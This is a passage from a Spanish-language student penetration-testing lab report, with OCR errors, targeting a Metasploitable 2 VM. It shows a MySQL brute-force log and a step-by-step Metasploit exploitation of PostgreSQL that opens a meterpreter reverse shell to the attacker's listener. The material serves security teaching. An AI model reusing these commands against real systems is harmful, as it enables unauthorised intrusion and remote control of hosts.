192.160.10.8:3306 - 192.160.10.8:3306 - LOGIN FAILED: root: (Unable to Connect: inva
lid packet: scramble_length(@) = length of scramble(21))
192.160.10.8:3306 - 192.160.10.8:3306 - LOGIN FAILED: admin: (Unable to Connect: inv
alid packet: scramble_length(@) s length of scramble(21))
192.160.10.8:3306 - 192.160.10.8:3306 - LOGIN FAILED: root: (Unable to Connect: inva
lid packet: scramble_length(@) = length of scramble(21))
192.160.10.8:3306 - Scanned 1 of 1 hosts (100% complete)
192.160.10.8:3306 - Bruteforce completed, @ credentials were successful.
192.160.10.8:3306 - You can open an MySQL session with these credentials and C
n set to true
Auxiliary module execution completed

llustracion 50. Resultado del exploit 3306.

4.9 PUERTO 5432
Nuestro ultimo puerto que nos queda por explotar es el 5432, por lo que

luego de investigar un exploit que me pudiera ayudar a explotar este puerto, toca
ponerse mano a la obra, en mi caso, usé el siguiente comando search

linux/postgres/postgres_payload para buscar un exploit que me pudiera servir.

msf6 > search linux/postgres/postgres_payload

Matching Modules

Name Disclosure Date Rank Check Description

\_ target: Linux x86

#
0 exploit/Linux/postgres/postgres payload 2007-06-05 llent Yes PostgreSQL for Linux Payload Execution
1z . 5 >
2 \_ target: Linux x86_64

Interact with a module by name or index. For example in ] or
After interacting with a module you can manually set a TARGET w1th

llustracion 51. Buscando exploit.



Luego ejecuté el comando use 0, que se utiliza para seleccionar el primer

exploit.

msf6 > use 0

Using configured payload linux/x86/meterpreter/reverse_tcp
New in Metasploit 6.4 - This module can target a SESSION or an RH

llustracion 52. Ubicacion del exploit.

Mediante el uso de options voy a mirar que configuraciones me hacen falta

para poder aplicarlas, por ejemplo, el RHOSTS, LHOST.

msf6 exploit( ) > options
Module options (exploit/linux/postgres/postgres_payload):
Name Current Setting Required Description

VERBOSE false no Enable verbose output

Used when connecting via an existing SESSION:
Name Current Setting Required Description

SESSION no The session to run this module on

Used when making a new connection via RHOSTS:
Name Current Setting Required Description
DATABASE postgres no The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a ran
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using]
RPORT 5432 no The target port
USERNAME postgres no The username to authenticate as
Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

llustracion 53. Configurando.

msf6 exploit( ) > set RHOSTS 192.160.10.8
HOSTS = 192.160.10.8
st

6 exploit( ) > set LHOST 192.160.10.4
LHOST = 192.160.10.4

llustracion 54. Configurando el RHOSTS y LHOST.

Asi se debe de ver nuestras configuraciones.



msf6 exploit( ) > options

Module options (exploit/linux/postgres/postgres_payload):

Name Current Setting Required Description

VERBOSE false no Enable verbose output

Used when connecting via an existing SESSION:

Name Current Setting Required Description

SESSION no The session to run this module on

Used when making a new connection via RHOSTS:

Name Current Setting Required Description
DATABASE postgres no The database to authenticate against

PASSWORD postgres no The password for the specified username. Leave bla
RHOSTS 192.160.10.8 no The target host(s), see https://docs.metasploit.co
RPORT 5432 no The target port

USERNAME postgres no The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description
LHOST 192.160.10.4 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

llustraciéon 55. Visualizando avance.
Ahora ejecutamos nuestro exploit.
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.160.10.4: 4444
192.160.10.8:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntus)

Uploaded as /tmp/wDVDawox.so, should be cleaned up automatically
Sending stage (1017704 bytes) to 192.160.10.8
Meterpreter session 1 opened (192.160.10.4:4444 — 192.160.10.8:45457) at 2025-08-07 14:59:38 -0400

llustracion 56. Exploit del puerto 5432.

Finalmente podemos evidenciar que logramos explotar el puerto 5432

exitosamente.



meterpreter > sysinfo

Computer : metasploitable.localdomain

0S : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : 1686

BuildTuple : 1486-1linux-musl
Meterpreter : x86/linux

llustracion 57. Puerto 5432 explotado con éxito.



5. CONCLUSIONES
Finalmente, nos podemos dar cuenta de la importancia que tiene la

seguridad en el uso de diversos servicios, junto con importancia de adquirir sélidos
conocimientos que luego puedan ser aplicables en el desarrollo de problemas a

los cuales nos podemos en algun punto ver expuestos.

Se pudo reconocer la importancia de conocer los entornos de trabajo como
Kali Linux y Metasplotable 2 para trabajar con una mejor discusion las

penetraciones.

Este laboratorio no solo fe una practica, sino un ejercicio que logré retarme

para salir en busca de un objetivo principal.



